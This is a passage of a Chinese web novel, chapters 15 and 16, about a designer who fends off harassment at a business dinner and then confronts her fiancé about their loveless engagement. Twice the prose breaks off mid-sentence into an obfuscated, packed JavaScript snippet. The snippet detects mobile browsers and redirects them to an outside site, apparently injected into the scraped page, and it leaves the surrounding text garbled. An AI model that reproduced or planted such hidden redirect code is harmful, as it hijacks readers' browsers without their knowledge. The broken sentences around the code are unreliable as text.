“今天不是周末吗?你看起来没什么精神,回家休息吧。” 程姿遥简明扼要:“有重要客户会过来。” “好吧。”韩逍想再说点什么,但这时程姿遥接到了一通电话。 是程黎生打来的,又把刚才兰姨告知的事情重新说了一次,只是说得更加细致了,包括转院至龙城的哪家医院、由哪位医生主治、医生的资质背景等。 末了,手机那头添了一句:“你来龙城的话,联系我。” 程姿遥回答得很客气:“谢谢,到时候就麻烦你了。” 程黎生把电话挂了。 通话结束,韩逍轻笑一声:“感觉遥遥姐现在对我和对程黎生差不多。” 像是在埋怨,又像是在调侃。 程姿遥问:“不然呢?” “我以为我跟遥遥姐会更亲厚一点,毕竟那小子和你待一起的时间加起来才多久?” 程姿遥平静地说:“相处时间确实能影响亲疏,但无论和他,还是和你,都是‘普通姐弟关系’,不存在本质区别,不是吗?” 韩逍笑了下:“你是生气了吗?” “没有,我只是在陈述事实。” 韩逍眼睛微眯,陷入了思索。 医院离XYAO工作室只有半小时的车程,韩逍在门口停车解除车门锁定,一如往常地说:“遥遥姐,下班的时候call我,我来接你。” 程姿遥好奇:“你这段时间不忙了吗?” 韩逍说:“家里知道程祖母生病,给我放了假,嘱咐我多陪着你,现在不用双管齐下,时间自然是比之前松活了些。” 程姿遥颔首:“今晚我有饭局,你不用来接了。” “应酬吗?还是朋友聚餐?” 程姿遥打开车门:“程黎生不会问我这样的问题。” “……” 韩逍鲜有吃瘪的时候,当即愣了下,打开车窗想要说些什么,而就在这时,一辆白色保姆车从另一个路口进来,停在了更前方的位置。 白子慕逮着口罩迈着长腿从车上下来,一身清新,看到程姿遥时眼睛里都在冒星星:“姿遥姐!” 同样是温和的口吻,但此时程姿遥明显带了几分笑意:“小白,你今天这身私服很适合你。” “是吗?”白子慕脸颊微红,有几分羞赧地说,“我自己尝试搭了下。” 程姿遥拍了拍他的胳膊,肯定道:“你品位一直不错,以后资源不会差的。” 看着两人有说有笑地进了工作室大门,韩逍的笑容瞬间冷却,眼底愈发阴沉。 ——“有重要客户会过来。” 这个像电线杆一样的小白脸,居然也有资格成为遥遥姐的“重要”客户? 15. chapter 15 走进工作室,白子慕的经纪人叶莹莹问道:“刚才送你来的是韩逍吗?我倒是好久没见过那小子了。” 听到这个名字,白子慕的神色明显黯淡了几分,显然刚才他没有注意到这些。 程姿遥只是点了点头:“他顺路送我。” 叶莹莹瞥了眼白子慕:“说起来,你俩是不是快订婚了?萱萱跟我说是下半年。” 程姿遥淡淡道:“现在奶奶生病了,可能会有变化吧。” “程祖母病情怎么样了?” “刚醒过来没多久,周末转院去龙城。” 叶莹莹拍了拍她肩膀,安慰道:“龙城的名医多,医疗资源更好。” 程姿遥不愿在这个话题久聊,话题一转:“沁萱没跟家里说什么时候回来吗?” “她说要等你订婚!”说到这事,叶莹莹忍不住翻了个白眼,“我怀疑这只是借口,说不定是在外面谈了个老外,不敢跟爸妈说,所以一直躲着藏着呢。” 程姿遥笑了:“倒也像她会做出来的事,不稀奇。” 白子慕和叶莹莹这次是来选衣服的,所以没有久留就带着衣服去摄影棚了。 临走前,白子慕鼓起勇气一般对程姿遥说:“姿遥姐,一切都会好起来的!” “嗯?”看着眼前这个还不满20岁的青年,程姿遥过两秒才反应过来,继而微笑,“谢谢。” “如果……如果有什么我能帮得着的地方,请一定、一定要告诉我!” 程姿遥有些无奈:“小白,我知道你有心了,但我之前也跟你说过了……” “我知道,你有未婚夫了,跟他比我不值一提,我也不妄想高攀。”白子慕满脸张红,“我只是……只是想想让姿遥姐知道,我会一直支持你的!” 正好叶莹莹此时打完电话回来,唤道:“小白,我们走吧。” 白子慕朝程姿遥鞠了个躬,大步流星地往门外“逃”走了。 程姿遥叹了口气。 送走叶莹莹和白子慕后,她先是带人名验收了一批国外采购的布料,又检查了几个见习设计师的草图,杂七杂八的事忙了一堆,等到回到自己的办公室坐下休息时,窗外已华灯初上,提醒着她该去赴宴。 唐歆出差去国外交流了,所以只有她单独前往——不过料想唐歆在的话也不会愿意去,因为今晚的饭局确实是一场纯资本的应酬。 人在江湖走,哪有不应酬。 地点在江边的一家高级私人会所,主办者廖总是XYAO之前的一个甲方,近来组了一个足球队,意气风发,局上除了他和他的几个明星球员外,还有几位商界大佬,以及像她这样应邀的合作伙伴。 因为程家的原因,程姿遥从小有出席一些应酬,到场的有两三位老总都认得她。 其中一个姓刘的和程祖晧差不多大,与她碰杯后笑着说:“要我说嘛,女孩子家家的,少抛头露面,让你爸直接在龙城给你搞个办公室多好,何必自讨苦吃呢!” 程姿遥虚与委蛇,微笑说:“年轻人当然还是要出来多见见世面,历练一番。” 刘总假模假样地感慨:“唉,我家那混小子要是也有这觉悟就好了。” “你爸爸好福气啊,儿女个个都这么能干。”另一个开口的是张总,从前也与程家有过生意往来,“上个月我去龙城碰到了你弟弟,他正跟着你爸在学习接手业务,年纪轻轻就这么干练老成,看来以后大有可为!” 刘总酸溜溜地说了句:“看来程总确实是有本事,怪不得看不上风城,去龙城去了。” 程姿遥圆滑地说:“哪里的话,是风城太多像刘叔叔、张叔叔这样的大佬盘踞,我爸才去龙城开疆拓土了。” 见人说人话,见鬼说鬼话,韩逍擅长,她亦是如此。 甚至在某些时候,她比韩逍更甚。 聊了一阵,程姿遥去了一趟洗手间,出来的时候却被人堵住了去路。 只见来者是两张陌生面孔,身材健硕,身上的气质与西装革履不太融合,程姿遥过了一会儿才想起对方似乎是廖总组的球队的球员,在进门海报上看到过。 个头更高的男子长了一张马脸,主动递来一杯红酒,挑眉:“小姐姐,认识一下?” 程姿遥却没抬手,只是从手拿包中掏出两张名片递了出去:“你好,我是程姿遥。” 两人接过名片,正反看了下,都露出不屑的轻佻笑容。站在后面一点的国字脸吹了个口哨:“服装设计?有设计内衣吗?” 程姿遥的微笑冷了几分:“抱歉,失陪了。” 马脸又将她拦下,嬉皮笑脸:“小姐姐,刚才我看你跟刘总他们聊得挺开心的呀。怎么?只爱陪老男人,看不上我们这些不够有钱的?” 程姿遥明白过来了。 她早就知道在这种以男性为主的应酬上女性很容易受到骚扰,这也是唐歆对此深恶痛绝的原因之一,但她出身显贵,连圈内的老总们都要让她两分,别人也不敢拿她怎么样,因此唐歆也放心让她一个人出入这种场合,不过还是给她准备了一些东西。 用唐歆的话来说,她就是“特权者”,吃了父辈的红利。 但眼前这两个球员明显见识还不够多,对商界的事情知之甚少,才胆大包天地敢在她面前本性暴露。 “那是我不识抬举了。”程姿遥微笑地接过酒,然后手腕突然往外一抖,猛地将酒杯中的红酒泼到了眼前男子的脸上。 国字脸瞬间呆住了,马脸怔愣了几秒,瞪大了眼睛:“你!” 程姿遥温声细语地说:“球打得好不好我不知道,但人可真是臭啊,美酒都消不了味儿。” 马脸怒不可遏,直接伸手想要抓住她。 而就在程姿遥作出反应之前,一只手伸来牢牢握住了男人的手腕。 “顾骞禹?”待看清那只手的主人时,程姿遥有些惊讶。 只见顾骞禹穿着一件苍蓝色的衬衣配西装裤,出现在她身旁,听到她叫他的名字,他露出有些欣慰的笑容:“真感动,你记住了我的名字。” 程姿遥:“……” 马脸怒不可遏:“你是谁?” 顾骞禹没有看他,还是看着程姿遥,耸肩道:“我也不知道他球踢得好不好,但我现在起码知道他听力不太行。” 程姿遥忍俊不禁。 马脸瞧自己这样这忽视,更加怒火中烧,另一只手一拳朝顾骞禹挥来。 顾骞禹也用另一只手接住了他的拳头,同时抬脚朝对方腹部踹了一脚,而后松手,让马脸摔坐在了地上。 国字脸一看兄弟吃亏了,顿时理智尽失,不管不顾地朝顾骞禹扑来。 顾骞禹被扑个正着,一下子被推得后背撞到了墙上,这时马脸重新站起来了,骂骂咧咧地准备报仇。 但还不等他抬起拳头,就听他发出一声惨叫:“啊!我的眼睛!” 抱着顾骞禹的国字脸闻言回头,却也被什么东西当头喷了一脸,眼睛登时睁不开了:“啊!” 顾骞禹趁机踢开缠着他的国字脸,拉着程姿遥后退到安全距离,诧异道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340457|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你有这东西怎么不早拿出来用?” “我是打算用来着,没想到你突然出来英雄救美。”程姿遥一脸淡定,手里拿着的正是唐歆为她准备的小型防狼喷雾,大小刚好可以塞进手拿包里。 顾骞禹:“……”好吧,成了美救英雄。 这一阵骚动自然引来了不少人,廖总赶来看到捂着眼睛的两名爱将时脸色一青,再看到程姿遥和顾骞禹的时候脸色更难看了。 得罪程家的小姐,他尚且还有几分把握能抹平,毕竟程姿遥也没程家实权,可谁知道这两个蠢货居然把顾家少当家也给得罪了! 今晚他请顾骞禹过来,就是有求于顾氏,想拓展国际业务,这可好,生意还没谈上,摊子倒是摊上了! 廖总喊人把两个球员带下去后,赔笑脸道:“顾少,程小姐,二位都是有气量的人物,犯不着和两个没脑子的蠢货计较。” 程姿遥不置与否,她看得出来廖总想讨好的对象不是她。 “确实,犯不上计较。”顾骞禹冷着脸,“不过廖总用人居然都不看脑子,实在是令人担心啊。” 廖总笑容有些僵硬,干笑两声:“顾少,球队是球队,团队是团队,那可不一样。” “都是队,异曲同工吧。抱歉了廖总,程小姐刚才受了惊吓,我先陪她离开了,您吃好喝好,别误了生意。” “顾少……”廖总想要挽留,但奈何顾骞禹毫无转圜的余地。 走出了会所,江风迎面而来,程姿遥顿感空气清爽许多,贪婪地深吸一口气,又长长舒出,将方才的恶心感排解了。 她睨了顾骞禹一眼:“不想合作就直说,何必拿我当挡箭牌。” 顾骞禹摊手:“这不好吗?想必他以为我俩交情不浅,以后抓着机会讨好你。” “大可不必。”程姿遥淡淡地说,“你也别以为自己权势滔天,顾家游离国内市场太久,此时顶着一个海外资本的名头回来是很新鲜,但等到你们国内业务稳定了,终究是强龙不敌地头蛇,明日说不定就是你给廖总赔笑脸。” 顾骞禹眼神微动:“你在担心我?” “……我只是不想你惹事又连累上我。” 又是一阵江风起,吹散了风城持续一天的闷热,也吹乱了程姿遥的头发。 顾骞禹侧身为她稍稍挡了下风,以便她整理头发,一边说:“我送你回去吧,刚才的酒我没喝。” “真是谢谢你了,未来的风城热心市民。”程姿遥扬了扬手机,“不过我已经打算叫代驾了。” 顾骞禹噎了下:“你这个女人,真是一点机会都不留给我。” “不管怎么说,刚才还是谢谢你了。”程姿遥微笑,“虽然本来我自己也能解决。” “……”顾骞禹笑着叹了口气,“你真是……” 这时,一个带着笑意的清朗男声突兀地介入到二人之间:“遥遥姐,我们回家吧。” 程姿遥抬眸,只见不远处的停车位上停着那辆熟悉的保时捷,在夜色和路灯的双重覆盖下没有白天时那么打眼。 韩逍还穿着上午那件衬衣,只是此时领口稍稍敞开,双袖挽至胳膊,露出线条优美的锁骨和白皙精壮的手臂。 橘黄色的灯光勾勒出他俊美的面庞,许是也忙碌了一天,他的眉眼带着点倦色,却在微笑的瞬间掩去,化作蛰伏在笑容之下的锋芒。 此时,他正靠在车前,笑眯眯地看向这边,看起来一脸纯良,人畜无害。 ——凭多年相处的经验,程姿遥能感觉到他此时很不爽。 16. chapter 16 上了车,韩逍才问:“遥遥姐,饭局怎么样?” 程姿遥问:“你怎么知道我在这儿?” “去你工作室接你的时候问了一个员工。” 程姿遥心想:是时候加强一下工作室内的保密培训了。 韩逍十分平和地说:“遥遥姐还没回答我的问题呢。” “还好,就是应酬。” “那一定没吃饱吧。”韩逍的车开得很稳,一如他脸上的微笑,仿佛他开的不是跑车,而是一辆SUV,“我看冰箱里好像有pasta,回去煮给你吃吧。” “不必了,我没那么饿。” 韩逍越是和颜悦色,身上散发出的气息就越冷冽:“哦?是没那么饿,还是只是不想旁边坐着的是我?” 程姿遥淡淡地说:“都有吧。” 今日一整天都有些闷热,方才的江风仿佛是一种预兆,车开后没多久外面就下起了暴雨。 车窗的隔挡和车内空调的细响过滤了几分夏季暴风雨的猛烈,稍微弱化了车外的风雨交加与电闪雷鸣,传至驾驶座时的雷雨声闷闷的,仿佛被捂在了谁的口袋里。 韩逍不说话,只是启动雨刷,平稳地开着车。 程姿遥懒懒地手肘撑着车窗框,手背托着脸,借着雨声闭目养神。 等两人到家的时候,室外还在下雨,程姿遥这才想起自己的伞还在自己的车上。 没有办法,她只有从韩逍的车上拿了伞先下了车,准备和韩逍共打一把。 然而,却不料韩逍停好车下来后像是没看到撑着伞等在一边的她似的,淋着雨径自往她家门口走去。 程姿遥微微一愣,下意识地加快了脚步,但还没等她追上韩逍,她就又放慢了脚步,皱了下眉头,默默跟在男子身后,直到进了家门。 进屋后,两人亦是相顾无言,韩逍回屋拿了换洗衣物进了一楼的卫浴洗澡,而程姿遥则上楼回主卧使用自带的卧室卫浴。 漱洗完后,程姿遥正打开电脑准备处理一些事务,就??隐约听到楼下传来叮铃咚隆的响动,位置正对着她房间,应该是厨房。 起初她并没有太在意,但时间越长动静越大,让她不得不在意。 ……这人是要把她这里给拆了吗? 程姿遥下楼,果然在厨房看到了翻箱倒柜的韩逍。 男人刚洗完澡,穿了一件宽大的白色T恤套深灰色短裤,洗了头后没有吹干,原本就乌发的头发此时更像墨一样。 程姿遥忍不住问:“你在找什么?” 男人动作一顿,闷声说:“……药。” “药?什么药?” “感冒药。”韩逍偏过头不看她,像是在赌气的孩子一样,“我淋了雨,要感冒了。” “……”程姿遥盯着他还淌着水的发梢,“那你还不吹头发?” “自己吹太麻烦了。” 程姿遥在心里叹了口气。 ——这个人太知道怎么拿捏她了。 虽然韩逍年纪比她小,但论成熟沉稳,不输年长者,却总爱扮猪吃老虎,装得一副单纯真诚的样子,笑眯眯地卖乖,再一点点地图穷匕见。 故意流露出孩子气,也是他对付她常使用的一招。 她不打算入套,只是说:“那你自己看着办吧,药箱在客厅不在厨房,不过好像没有感冒药了,你点个送药外卖吧,或者吃片维C好好睡一觉。” 说罢,她转身准备回去了。 而就在她刚踏上楼梯,韩逍就追了出来,朝她问道:“你是不是早就想解除婚约了?” 程姿遥脚步一滞。 韩逍皮笑肉不笑,有几分阴阳怪气地说:“不知道遥遥姐的真爱是哪位?是叶莹莹带的那个小白脸,还有晚上这个油腻男?” “……” 程姿遥感到莫名其妙:“你发什么疯?” “哦,看来都不是。”韩逍顿了顿,“遥遥姐平时看起来清心寡欲的,但没想到备胎还挺多,就是眼光不大好。” 程姿遥深吸了一口气,转过身站在台阶上俯视着他:“你现在,是以什么立场,在跟我说这些话?” 韩逍不紧不慢地说:“遥遥姐,我们还没有正式解除婚约。” 程姿遥嗤之以鼻:“婚约期间,你可没有少交过女朋友。” 韩逍还是那副理直气壮的模样:“但交往前我都会告诉你,而且如果你不高兴了我也会分手。” 程姿遥古怪地看着他:“所以你现在是不高兴了?” 韩逍说:“遥遥姐之前不也会不高兴?我为什么不能不高兴?” “……” 双目相对,一股荒谬之感如蚁群一般爬上程姿遥的心头。 她突然笑了:“你真的不知道我之前为什么不高兴吗?” “我……”韩逍好似被她的笑容晃了眼,随后稳了稳心神,“因为我处理的不够好。” “不是这个原因。” 韩逍却沉默了,像是想到了答案却不敢出声的学生。 屋外的暴雨不知道什么时候已经停了,室内落一颗针都能听到。 似是叹了一口气,程姿遥随后往下向下迈了节阶梯,伸手拽住韩逍的领口,将男人猝不及防地拉近自己,然后吻上了对方的唇。 男人的唇瓣很薄,都说薄唇的男人也薄情,看来是真的。 这个吻如蜻蜓点水,稍纵即逝,离开时韩逍甚至都没反应过来。 程姿遥退了回去,眼神复杂地看着他,脸上却带着微笑:“韩逍,我不高兴,是因为我以前喜欢你,我爱你。” “……” 韩逍骤然间睁大了双眼,望向程姿遥的目光露出几分错愕,像是被打了个措手不及,以至于一向能言善辩的他一时说不出话。 程姿遥知道他并不是惊讶于答案本身,而在于她将答案当面公布。 在过去,她有无数次合适的告白契机,但她都不曾表露心迹。 她也不曾想过,自己会在这样的情景下以这样的方式说出这句话。 我喜欢你,喜欢很久了,甚至成了一种习惯。 但我已经决定以后慢慢戒掉这种习惯。 见他不说话,程姿遥苦笑了一下,问:“你呢,你也是因为这样的理由而不高兴吗?” “……” “韩逍,你喜欢我吗?” “我不知道。”半晌,韩逍才开口,他的神情少见地有些茫然,“我们不该是那样的关系……那种充满不确定性的东西,我不明白为什么要追求那种情感……” 喜欢?爱? 当年他的父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340458|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是自由婚姻,他的父亲韩重林不顾家族反对,一意孤行要与当红明星许笙结合,可以说他们当时的爱情是轰轰烈烈的。 但是没过多少年,等他出世的时候,看到的已是爱情如台风过境后的模样,满目狼藉,一败涂地。 小时候他多次撞见韩重林和许笙互相殴打、咒骂的场景,双方都怨恨彼此毁了自己的前程,大骂曾经那样灿烂的爱情,场面实在难看。 爱情早已面目全非,时至今日,韩重林已经不知道有了多少情妇,而许笙早就眼不见为净,每天只顾着自己玩乐,从小看儿子的眼神都是疏离又嫌弃,喝醉后还会拿他撒气。 再譬如,随着年龄的增长,他身边涌现出来说“喜欢”他、“爱”他的女生越来越多。 然而,无论当下如何狂热浓烈,只要过一段时间或是有新的合适人选出现,她们又会对其他人投去同样情意澎湃的目光,所谓的“爱”与“喜欢”就能被轻易转移和复制。 这样的“批量生产”,让他感觉廉价。 易逝的、易碎的、易变的、易复刻的。 对于爱情这种华而不实的东西,他向来是嗤之以鼻。 他从不认为他和程姿遥之间有爱情。 程姿遥对他的反应早有预料,但眼中仍是难掩失望,她自嘲地说:“确实,你对我并没有爱情,你会不高兴,只是你对我的占有欲作祟而已。” “……” “你习惯了我围绕在你身边、以你为中心,所以你怎么玩、怎么恋爱都可以,但我如果多在意别的事物一点你都会不爽。” “……” “还记得Luca吗?我们在学校门口救助的小狗,本来你打算自己养的,但看我每天光顾着照顾它而不理你,你很快就把他送走了。”程姿遥平素不爱提往事,这是她头一次说那么多,“高中时喜欢我的男生也是被你‘劝退’的吧?那些给我写情书、发短信的人,也都遭到了你的‘恶作剧’。” “……” “这些是我知道的,还有一些我不知道的吧。最开始时我还沾沾自喜,以为那是喜欢,所以睁一只眼闭一只眼,但渐渐地,我发现了,我只不过是一件最称手的工具,需要时不容离去,不需要时就随意扔弃。” 韩逍声音有些沙哑,似喃喃般地说:“不是这样的。” “那是怎样的呢?”程姿遥平静地揭开自己内心的伤疤,“我也曾有所期望,但最终只是听到你和别人说我除了温柔以外一无是处,说不真正碰我是因为怕摆脱不了。” “我没有……”韩逍下意识地反驳,但脑子里却浮现了相关的记忆,他不知道原来程姿遥那时在听。 程姿遥缓缓地说:“我们对彼此的情感需求不一样,你可以当着我的面亲了林佳后马上分手,也可以在那年平安夜后领Jessica回来跟她介绍我是你姐姐,但我不能像你一样风轻云淡。” 韩逍反应了一会儿,才模糊记起“林佳”是哪号人物,而听到“平安夜”时,他脸色一变。 “婚约是你的负累,你现在提出解除婚约,想必是不需要我了吧。”程姿遥低头,笑容轻柔,眼眸在阴影之下不见情绪,“而我也不需要你了,以后我们就是普通的邻家姐弟关系了。” “我不会纠缠你,小逍,你该开心才是。”